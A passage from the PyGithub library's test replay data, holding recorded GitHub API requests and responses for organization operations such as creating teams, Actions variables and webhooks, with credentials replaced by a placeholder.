X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C290:52DA:50234:B404B:5E98F470')] {} https GET api.github.com None /orgs/BeaverSoftware/actions/secrets/secret-name/repositories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"total_count": 2, "repositories": [{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}, {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateTeam.txt0000644000175100001660000000135014756101563024273 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/teams {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "Team created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4988'), ('content-length', '145'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"189a318993cde3e040f2efb4f634f8a8"'), ('date', 'Sat, 26 May 2012 20:58:53 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/teams/189850')] {"url":"https://api.github.com/teams/189850","members_count":0,"repos_count":0,"name":"Team created by PyGithub","permission":"pull","id":189850} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateTeamWithAllArguments.txt0000644000175100001660000001173214756101563027453 0ustar00runnerdockerhttps GET api.github.com None /repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"has_downloads":true,"watchers":2,"mirror_url":null,"language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","created_at":"2012-02-09T19:32:21Z","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","fork":false,"full_name":"BeaverSoftware/FatherBeaver","organization":{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","url":"https://api.github.com/users/BeaverSoftware","id":1424031},"permissions":{"admin":true,"pull":true,"push":true},"has_wiki":true,"has_issues":true,"forks":1,"size":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","private":false,"visibility":"public","updated_at":"2012-02-16T21:51:15Z","homepage":"","owner":{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","url":"https://api.github.com/users/BeaverSoftware","id":1424031},"name":"FatherBeaver","open_issues":0,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","id":3400397,"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","pushed_at":null} https GET api.github.com None /teams/141496 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-ratelimit-limit', '5000'), ('content-length', '128'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"b93241eaf4384574f38b352b25595e28"'), ('date', 'Fri, 01 Jun 2012 19:35:59 GMT'), ('content-type', 'application/json; charset=utf-8')] {"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1} https GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fc78d67f262cad756e42354c78ecea4e"'), ('date', 'Tue, 28 Aug 2018 00:16:42 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":11,"type":"User","disk_usage":17080,"hireable":false,"blog":"http://vincent-jacques.net","url":"https://api.github.com/users/jacquev6","bio":"","plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","total_private_repos":5,"public_gists":2,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","owned_private_repos":5,"private_gists":5,"collaborators":0,"email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} https POST api.github.com None /orgs/BeaverSoftware/teams {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"repo_names": ["BeaverSoftware/FatherBeaver"], "name": "Team also created by PyGithub", "permission": "push", "privacy": "secret", "description":"Description also created by PyGithub", "parent_team_id":141496, "maintainers": [327146], "notification_setting": "notifications_disabled"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4982'), ('content-length', '150'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"6e3fb00de6ca4c112feee3a1438d6f0e"'), ('date', 'Sat, 26 May 2012 21:00:26 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/teams/189852')] {"repos_count":1,"url":"https://api.github.com/teams/189852","members_count":0,"name":"Team also created by PyGithub","permission":"push","description":"Description also created by PyGithub","id":189852, "notification_setting": "notifications_disabled", "parent":{"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateVariable.txt0000644000175100001660000000377114756101563025143 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/actions/variables {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "variable-name", "value": "variable-value", "visibility": "all"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ab9b40dea6722e415dd424b31be226eac6da76ca693e83c73fed865610a4937e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '95'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '6FD1:95BE:1234AD:24C286:649C87BD')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateVariableSelected.txt0000644000175100001660000002030114756101563026600 0ustar00runnerdockerhttps GET api.github.com None /repos/BeaverSoftware/TestPyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"} https GET api.github.com None /repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} https POST api.github.com None /orgs/BeaverSoftware/actions/variables {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "variable-name", "value": "variable-value", "visibility": "selected", "selected_repository_ids": [3609352, 3400397]} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ab9b40dea6722e415dd424b31be226eac6da76ca693e83c73fed865610a4937e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '95'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '6FD1:95BE:1234AD:24C286:649C87BD')] {} https GET api.github.com None /orgs/BeaverSoftware/actions/variables/variable-name/repositories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"total_count": 2, "repositories": [{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}, {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testDeleteHook.txt0000644000175100001660000000247614756101563024316 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/hooks {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"config": {"url": "http://foobar.com"}, "name": "web"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4994'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"276d18854081948260c44cf645c54bd0"'), ('date', 'Sat, 19 May 2012 05:03:14 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/orgs/BeaverSoftware/hooks/257967')] {"updated_at":"2012-05-19T05:03:14Z","url":"https://api.github.com/orgs/BeaverSoftware/hooks/257967","config":{"url":"http://foobar.com"},"last_response":{"status":"unused","message":null,"code":null},"active":true,"events":["push"],"name":"web","created_at":"2012-05-19T05:03:14Z","id":257967} https DELETE api.github.com None /orgs/BeaverSoftware/hooks/257967 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4965'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:26:55 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testEditHookWithAllParameters.txt0000644000175100001660000000340014756101563027276 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/hooks {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"active": false, "config": {"url": "http://foobar.com"}, "name": "web", "events": ["fork"]} 200 [('status', '200 Ok'), ('x-ratelimit-remaining', '4997'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c3b371e4de1a0ec350b3fcc0c458e0f9"'), ('date', 'Sat, 19 May 2012 06:01:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/orgs/BeaverSoftware/hooks/257993')] {"updated_at":"2012-05-19T06:01:45Z","last_response":{"status":"unused","message":null,"code":null},"events":["fork"],"url":"https://api.github.com/orgs/BeaverSoftware/hooks/257993","active":false,"name":"web","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"} https PATCH api.github.com None /orgs/BeaverSoftware/hooks/257993 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"active": true, "config": {"url": "http://barfoo.com"}, "name": "mobile", "events": ["spoon"]} 200 [('status', '200 Ok'), ('x-ratelimit-remaining', '4965'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:26:55 GMT')] {"updated_at":"2012-05-19T06:01:45Z","last_response":{"status":"unused","message":null,"code":null},"events":["spoon"],"url":"https://api.github.com/orgs/BeaverSoftware/hooks/257993","active":true,"name":"mobile","config":{"url":"http://barfoo.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testEditHookWithMinimalParameters.txt0000644000175100001660000000326414756101563030164 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/hooks {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"config": {"url": "http://foobar.com"}, "name": "web"} 200 [('status', '200 Ok'), ('x-ratelimit-remaining', '4997'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c3b371e4de1a0ec350b3fcc0c458e0f9"'), ('date', 'Sat, 19 May 2012 06:01:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/orgs/BeaverSoftware/hooks/257993')] {"updated_at":"2012-05-19T06:01:45Z","last_response":{"status":"unused","message":null,"code":null},"events":["fork"],"url":"https://api.github.com/orgs/BeaverSoftware/hooks/257993","active":true,"name":"web","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"} https PATCH api.github.com None /orgs/BeaverSoftware/hooks/257993 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"config": {"url": "http://barfoo.com"}, "name": "mobile"} 200 [('status', '200 Ok'), ('x-ratelimit-remaining', '4965'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:26:55 GMT')] {"updated_at":"2012-05-19T06:01:45Z","last_response":{"status":"unused","message":null,"code":null},"events":["fork"],"url":"https://api.github.com/orgs/BeaverSoftware/hooks/257993","active":true,"name":"mobile","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testEditWithAllArguments.txt0000644000175100001660000000323414756101563026324 0ustar00runnerdockerhttps PATCH api.github.com None /orgs/BeaverSoftware {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "Name edited by PyGithub", "billing_email": "BeaverSoftware2@vincent-jacques.net", "company": "Company edited by PyGithub", "blog": "http://vincent-jacques.net", "location": "Location edited by PyGithub", "email": "BeaverSoftware2@vincent-jacques.net", "description": "Description edited by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '833'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fe61098c87e054abfa5626e6a76bbcbd"'), ('date', 'Sat, 26 May 2012 20:50:35 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_gists":0,"type":"Organization","disk_usage":112,"private_gists":0,"public_repos":2,"url":"https://api.github.com/orgs/BeaverSoftware","total_private_repos":0,"plan":{"private_repos":0,"name":"free","space":307200},"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","owned_private_repos":0,"collaborators":0,"company":"Company edited by PyGithub","login":"BeaverSoftware","email":"BeaverSoftware2@vincent-jacques.net","followers":0,"name":"Name edited by PyGithub","created_at":"2012-02-09T19:20:12Z","location":"Location edited by PyGithub","id":1424031,"billing_email":"BeaverSoftware2@vincent-jacques.net","following":0,"html_url":"https://github.com/BeaverSoftware", "description": "Description edited by PyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testEditWithoutArguments.txt0000644000175100001660000000230214756101563026416 0ustar00runnerdockerhttps PATCH api.github.com None /orgs/BeaverSoftware {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '716'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a9ca2dd89f69da85bebd949477894af0"'), ('date', 'Fri, 11 May 2012 09:07:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"owned_private_repos":0,"private_gists":0,"type":"Organization","following":0,"company":null,"html_url":"https://github.com/BeaverSoftware","blog":null,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","followers":0,"url":"https://api.github.com/orgs/BeaverSoftware","public_repos":2,"login":"BeaverSoftware","collaborators":0,"email":null,"disk_usage":112,"plan":{"private_repos":0,"space":307200,"name":"free"},"created_at":"2012-02-09T19:20:12Z","name":null,"total_private_repos":0,"billing_email":"BeaverSoftware@vincent-jacques.net","public_gists":0,"id":1424031,"location":"Paris, France"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetCodeSecurityConfig.txt0000644000175100001660000000536414756101563026462 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/code-security/configurations/17 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 11 Dec 2024 06:22:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, 